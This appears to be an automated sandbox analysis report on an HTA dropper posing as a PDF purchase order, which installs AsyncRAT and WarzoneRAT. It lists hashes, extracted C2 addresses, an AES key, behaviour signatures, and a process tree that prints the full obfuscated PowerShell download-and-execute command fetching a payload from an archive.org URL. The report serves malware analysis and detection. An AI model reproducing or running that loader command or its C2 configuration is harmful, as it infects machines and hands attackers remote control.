asyncrat | 2be3fbee47d3308141e55e0c06bf9e3ae7999ec67572c6038dea38ecd25ca876

Analysis

max time kernel
1790s
max time network
1801s
platform
windows7_x64
resource
win7v20210410
submitted
07-06-2021 18:49

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General

Target

PO List 030621.pdf.hta
Size

1KB
MD5

c69d7a4fcee29976c69a25ad6a25f627
SHA1

a44c31bce10346f44a6907b3a3092de8bc2b7c24
SHA256

2be3fbee47d3308141e55e0c06bf9e3ae7999ec67572c6038dea38ecd25ca876
SHA512

a4a3c86f43e8f8effe4fa333ec542e919f62b8da1dee21f542b4b857990c112e6296f58e9051fed1d251ffb6852eac45e424481304bb42d6cac46e46b6a29f16

Score

10^/10

asyncrat warzonerat infostealer rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://ia601500.us.archive.org/3/items/all-2_202106/ALL2.TXT

Extracted

Family

warzonerat

5.206.224.194:3080

Extracted

Family

asyncrat

Version

0.5.7B

14.191.50.101:8080

Mutex

AsyncMutex_6SI8OkPnk

Attributes

aes_key
qyv1ismvAgNTQ98WMOnwHYsv8UB8SL5j
anti_detection
false
autorun
false
bdos
false
delay
Default
host
14.191.50.101
hwid
3
install_file
install_folder
%AppData%
mutex
AsyncMutex_6SI8OkPnk
pastebin_config
null
port
8080
version
0.5.7B

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat
WarzoneRat, AveMaria
WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.
rat infostealer warzonerat

Async RAT payload 3 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/2032-113-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat
behavioral1/memory/2032-114-0x000000000040C6EE-mapping.dmp	asyncrat
behavioral1/memory/2032-115-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat

Warzone RAT Payload 3 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/108-107-0x0000000000400000-0x000000000041D000-memory.dmp	warzonerat
behavioral1/memory/108-108-0x0000000000405738-mapping.dmp	warzonerat
behavioral1/memory/108-111-0x0000000000400000-0x000000000041D000-memory.dmp	warzonerat

Blocklisted process makes network request 5 IoCs

Processes:

powershell.exe

flow pid process

7 1488 powershell.exe
9 1488 powershell.exe
11 1488 powershell.exe
13 1488 powershell.exe
15 1488 powershell.exe

flow	pid	process
7	1488	powershell.exe
9	1488	powershell.exe
11	1488	powershell.exe
13	1488	powershell.exe
15	1488	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

powershell.exe

description	pid	process	target process
PID 1388 set thread context of 108	1388	powershell.exe	aspnet_compiler.exe
PID 1388 set thread context of 2032	1388	powershell.exe	aspnet_compiler.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

1488 powershell.exe
1488 powershell.exe
1388 powershell.exe
1388 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1488 powershell.exe
Token: SeDebugPrivilege 1388 powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
1488	powershell.exe
1488	powershell.exe
1388	powershell.exe
1388	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1488	powershell.exe
Token: SeDebugPrivilege	1388	powershell.exe

Suspicious use of WriteProcessMemory 29 IoCs

Processes:

mshta.exepowershell.exepowershell.exe

description	pid	process	target process
PID 1684 wrote to memory of 1488	1684	mshta.exe	powershell.exe
PID 1684 wrote to memory of 1488	1684	mshta.exe	powershell.exe
PID 1684 wrote to memory of 1488	1684	mshta.exe	powershell.exe
PID 1684 wrote to memory of 1488	1684	mshta.exe	powershell.exe
PID 1488 wrote to memory of 1388	1488	powershell.exe	powershell.exe
PID 1488 wrote to memory of 1388	1488	powershell.exe	powershell.exe
PID 1488 wrote to memory of 1388	1488	powershell.exe	powershell.exe
PID 1488 wrote to memory of 1388	1488	powershell.exe	powershell.exe
PID 1388 wrote to memory of 108	1388	powershell.exe	aspnet_compiler.exe
PID 1388 wrote to memory of 108	1388	powershell.exe	aspnet_compiler.exe
PID 1388 wrote to memory of 108	1388	powershell.exe	aspnet_compiler.exe
PID 1388 wrote to memory of 108	1388	powershell.exe	aspnet_compiler.exe
PID 1388 wrote to memory of 108	1388	powershell.exe	aspnet_compiler.exe
PID 1388 wrote to memory of 108	1388	powershell.exe	aspnet_compiler.exe
PID 1388 wrote to memory of 108	1388	powershell.exe	aspnet_compiler.exe
PID 1388 wrote to memory of 108	1388	powershell.exe	aspnet_compiler.exe
PID 1388 wrote to memory of 108	1388	powershell.exe	aspnet_compiler.exe
PID 1388 wrote to memory of 108	1388	powershell.exe	aspnet_compiler.exe
PID 1388 wrote to memory of 108	1388	powershell.exe	aspnet_compiler.exe
PID 1388 wrote to memory of 108	1388	powershell.exe	aspnet_compiler.exe
PID 1388 wrote to memory of 2032	1388	powershell.exe	aspnet_compiler.exe
PID 1388 wrote to memory of 2032	1388	powershell.exe	aspnet_compiler.exe
PID 1388 wrote to memory of 2032	1388	powershell.exe	aspnet_compiler.exe
PID 1388 wrote to memory of 2032	1388	powershell.exe	aspnet_compiler.exe
PID 1388 wrote to memory of 2032	1388	powershell.exe	aspnet_compiler.exe
PID 1388 wrote to memory of 2032	1388	powershell.exe	aspnet_compiler.exe
PID 1388 wrote to memory of 2032	1388	powershell.exe	aspnet_compiler.exe
PID 1388 wrote to memory of 2032	1388	powershell.exe	aspnet_compiler.exe
PID 1388 wrote to memory of 2032	1388	powershell.exe	aspnet_compiler.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\PO List 030621.pdf.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1684
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $www='https://ia601500.us.archive.org/3/items/all-2_202106/ALL2.TXT';$sss= '(NESTRDTYUGIHGYFTRDYTFYUbj'.Replace('ESTRDTYUGIHGYFTRDYTFYU','ew-O');$aaa='ecAAAAAAAAAAAm.NBBBBBBBBBBBBBBbC'.Replace('AAAAAAAAAAA','t Syste').Replace('BBBBBBBBBBBBBB','et.We');$bbb='lieCCCCCCCCCCnloaOOOOOOOOOOOOOOOring($www);'.Replace('CCCCCCCCCC','nt).Dow').Replace('OOOOOOOOOOOOOOO','dst');$hbar=I`E`X ($sss,$aaa,$bbb-Join '')|I`E`X;
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1488
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windo 1 -noexit -exec bypass -file "C:\Users\Public\ Microsoft.ps1"
    3⤵
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1388
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
      4⤵
      PID:108
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
      4⤵
      PID:2032

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1602f747-c1a3-4345-8dec-4dcb8b1f72e5

MD5
02ff38ac870de39782aeee04d7b48231

SHA1
0390d39fa216c9b0ecdb38238304e518fb2b5095

SHA256
fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876

SHA512
24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2d686436-375c-4ee1-bd4a-9e44ccd248ba

MD5
75a8da7754349b38d64c87c938545b1b

SHA1
5c28c257d51f1c1587e29164cc03ea880c21b417

SHA256
bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96

SHA512
798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4375eeb7-a65d-43f1-a616-02c5ad6c5370

MD5
be4d72095faf84233ac17b94744f7084

SHA1
cc78ce5b9c57573bd214a8f423ee622b00ebb1ec

SHA256
b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc

SHA512
43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6fe5bd95-2cea-4aea-9c8c-dd67bac4295b

MD5
df44874327d79bd75e4264cb8dc01811

SHA1
1396b06debed65ea93c24998d244edebd3c0209d

SHA256
55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181

SHA512
95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bc2fe8ee-69c0-48ce-8821-1fab80ab4eeb

MD5
597009ea0430a463753e0f5b1d1a249e

SHA1
4e38b8bb65ecbd5c9f0d3d8c47f7caba33de6c62

SHA256
3fd2a8217a845c43dbc0dc206c28be81d2687aa9ba62019d905aef10cfaec45d

SHA512
5d722fa908e64575b2497c60d142e182011a10c6ed33813b3b4796b3147ece1bc96938518b4c8911a1bac3b7560528ebe3e8e754c11015516d335df5d7c6871d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fa12b0a1-3d6a-4bab-a74a-253a75ca0598

MD5
5e3c7184a75d42dda1a83606a45001d8

SHA1
94ca15637721d88f30eb4b6220b805c5be0360ed

SHA256
8278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59

SHA512
fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fd9bf4da-ec38-4847-85c5-d50f35796d4c

MD5
a725bb9fafcf91f3c6b7861a2bde6db2

SHA1
8bb5b83f3cc37ff1e5ea4f02acae38e72364c114

SHA256
51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431

SHA512
1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fe80cd26-0cf7-4e38-9884-6dab53b04ca9

MD5
b6d38f250ccc9003dd70efd3b778117f

SHA1
d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a

SHA256
4de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265

SHA512
67d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

MD5
332735673fc3a5df0361ee0547fad68c

SHA1
86b3dc291efffddfccc8966e3e7e37c9845db19d

SHA256
09fd14bda7b5e7111cf4cf74342d7f972a724bae1acef5a03c2bfa142a0442a1

SHA512
de6848bd852bd2bae8fcdd90a9ad7abba2bb2fefc667bc2c910ea454583362a2146d948724da4aeba173557dc0dadeb798ccea49cb82902f63d6420cceddda12

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5
a410db31142827fd8d7e0a3fb37b2ae3

SHA1
fb8b52453c2d41a386a8eded8970e8967c06e432

SHA256
44952a487fd8e4232a5a52302e71206ad40e9b041f132822d02c7c0325d3dc0f

SHA512
8702f2080ffe218d358c346a7ed7239da4f64a75bd773e5acf8cac1e44127c1cb8e5331d4e270cada08072e56f2af9595909f0fe66fcf38c4fe0b71942a1b0d7

Download Submit
C:\Users\Public\ Microsoft.ps1

MD5
202491949283ca454f7a5ad9467d2c35

SHA1
ab57577bf573f33d61f279dcddbff424a2c4ba29

SHA256
070f3d73cf4c3b2c0cfbf7f1e3e8f7f659a61fafed1dcf75691b402e34f539e1

SHA512
9aac65a71ccc895b86ba115c3c899dbc7f88d153b925f03da72af10bb2dda3d014c15c9f5f333a6f18a13e5cf5f1334e95033b856c83aa19024ca5c4028cb4cc

Download Submit
memory/108-107-0x0000000000400000-0x000000000041D000-memory.dmp

Filesize
116KB

Download
memory/108-111-0x0000000000400000-0x000000000041D000-memory.dmp

Filesize
116KB

Download
memory/108-108-0x0000000000405738-mapping.dmp

Download
memory/1388-93-0x00000000049B2000-0x00000000049B3000-memory.dmp

Filesize
4KB

Download
memory/1388-106-0x0000000005920000-0x000000000593F000-memory.dmp

Filesize
124KB

Download
memory/1388-91-0x00000000049B0000-0x00000000049B1000-memory.dmp

Filesize
4KB

Download
memory/1388-117-0x0000000006440000-0x0000000006441000-memory.dmp

Filesize
4KB

Download
memory/1388-110-0x0000000005960000-0x0000000005961000-memory.dmp

Filesize
4KB

Download
memory/1388-86-0x0000000000000000-mapping.dmp

Download
memory/1488-63-0x00000000049E0000-0x00000000049E1000-memory.dmp

Filesize
4KB

Download
memory/1488-75-0x0000000005740000-0x0000000005741000-memory.dmp

Filesize
4KB

Download
memory/1488-66-0x00000000025E0000-0x00000000025E1000-memory.dmp

Filesize
4KB

Download
memory/1488-65-0x00000000049A2000-0x00000000049A3000-memory.dmp

Filesize
4KB

Download
memory/1488-64-0x00000000049A0000-0x00000000049A1000-memory.dmp

Filesize
4KB

Download
memory/1488-76-0x0000000006190000-0x0000000006191000-memory.dmp

Filesize
4KB

Download
memory/1488-62-0x0000000002240000-0x0000000002241000-memory.dmp

Filesize
4KB

Download
memory/1488-61-0x0000000075011000-0x0000000075013000-memory.dmp

Filesize
8KB

Download
memory/1488-70-0x00000000056E0000-0x00000000056E1000-memory.dmp

Filesize
4KB

Download
memory/1488-67-0x00000000052C0000-0x00000000052C1000-memory.dmp

Filesize
4KB

Download
memory/1488-85-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/1488-84-0x0000000006300000-0x0000000006301000-memory.dmp

Filesize
4KB

Download
memory/1488-60-0x0000000000000000-mapping.dmp

Download
memory/1488-83-0x0000000006270000-0x0000000006271000-memory.dmp

Filesize
4KB

Download
memory/2032-114-0x000000000040C6EE-mapping.dmp

Download
memory/2032-115-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/2032-113-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/2032-119-0x0000000001050000-0x0000000001051000-memory.dmp

Filesize
4KB

Download